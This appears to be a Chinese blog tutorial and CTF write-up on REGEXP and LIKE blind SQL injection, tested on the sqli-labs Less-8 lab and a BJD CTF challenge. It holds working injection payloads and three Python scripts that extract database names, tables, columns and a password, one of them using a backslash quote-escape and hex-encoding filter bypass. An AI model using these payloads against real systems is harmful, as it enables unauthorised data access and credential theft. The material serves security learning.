REGEXP注入与LIKE注入简单学习
source link: https://qwzf.github.io/2020/07/23/REGEXP%E6%B3%A8%E5%85%A5%E4%B8%8ELIKE%E6%B3%A8%E5%85%A5%E7%AE%80%E5%8D%95%E5%AD%A6%E4%B9%A0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
首发于先知社区
0x00 前言
之前已经学过SQL盲注了,也见过盲注中REGEXP注入,但没详细了解过。正好这次BJD遇到了这个,简单总结,并把题目复现一下。
0x01 REGEXP注入分析
注入原理
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
1、基本注入
select (select语句) regexp '正则'
正常的查询语句:
select username from users where id=1;
(1)正则注入,若匹配则返回1,不匹配返回0
select (select username from users where id=1) regexp '^a';
^
表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0(2)regexp关键字还可以代替where条件里的=号
select * from users where password regexp '^ad';
过滤了=、in、like
^
若被过滤,可使用$
来从后往前进行匹配
常用regexp正则语句:
regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
(3)在联合查询中的使用
1 union select 1,database() regexp '^s',3--+
2、REGEXP盲注
在sqli-labs靶场Less-8关进行测试
1.判断数据库长度
' or (length(database())=8)--+ 正常
2.判断数据库名
' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常
表名、字段名、数据内容参考以前总结。
很明显和普通的布尔盲注差不多,于是写个脚本:
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"
payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break
0x02 LIKE注入分析
like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_
通配符允许匹配任何单个字符。
1、基本注入
1.like 's%'
判断第一个字符是否为s
1 union select 1,database() like 's%',3 --+
2.like 'se%'
判断前面两个字符串是否为se
1 union select 1,database() like 'se%',3 --+
3.like '%sq%'
判断是否包含se两个字符串
1 union select 1,database() like '%se%',3 --+
4.like '_____'
判断是否为5个字符
1 union select 1,database() like '_____',3 --+
5.like 's____'
判断第一个字符是否为s
1 union select 1,database() like 's____',3 --+
2、LIKE盲注
依旧在sqli-labs靶场Less-8关进行测试
1.判断数据库长度
可用length()函数,也可用_
,如:
' or database() like '________'--+
2.判断数据库名
' or database() like 's%'--+
也可用
' or database() like 's_______'--+
我又把REGEXP盲注脚本改一下,于是成了LIKE盲注脚本:
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"
payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break
security
0x03 REGEXP注入实战
学完REGEXP注入和LIKE注入后,是时候把BJD的简单注入
那道题复现一下了。BJD CTF的简单注入
主要涉及的是REGEXP盲注。开始复现:
先fuzz一波,发现:
单引号 双引号都被ban了
union和select都被ban了
=和like被ban了
似乎没得思路了,看下wp,发现SQL语句逃逸单引号
,于是了解一下这个方法。
SQL语句逃逸单引号
主要是通过反斜线\
,将单引号转义,从而实现了SQL语句逃逸,造成SQL注入。
意思就是:
假设sql语句为:
select username,password from users where username='$user' and password='$pwd'
假设输入的用户名是admin\
,密码输入的是or 1#
整个SQL语句变成了
select username,password from users where username='admin\' and password=' or 1#'
由于单引号被转义,and password=
这部分都成了username的一部分,即
username='admin\' and password='
这样or 1
就逃逸出来了,由此可控,可作为注入点。
而fuzz结果,确实发现反斜线没有被ban掉。
binary
关键字区分大小写。好了,先不看大师傅的脚本,自己把上边的脚本改一下,试试。试过后发现跑不出来。。。。看下wp,发现要转换16进制(16进制在数据库执行查询时又默认转换成字符串),好吧。再改写下,最终成品如下:
import requests
import string
def str2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
strs = string.ascii_letters+string.digits
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
name = ''
for i in range(1,40):
for j in strs:
passwd = str2hex('^'+name+j)
payloads = payload.format(passwd)
postdata={
'username':'admin\\',
'password':payloads
}
r = requests.post(url,data=postdata,headers=headers)
if "BJD need" in r.text:
name += j
print(j,end='')
break
跑出了用户密码
0x04 后记
学习了REGEXP注入
和LIKE注入
,了解了SQL语句逃逸单引号
以及16进制在数据库执行
继续努力!!
参考博客:
从CTF题中学习几种有趣(奇怪)的SQL注入
CTF中几种通用的sql盲注手法和注入的一些tips
sql注入之盲注攻击
第二届BJDCTF 2020 全部WEB题目 Writeup
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK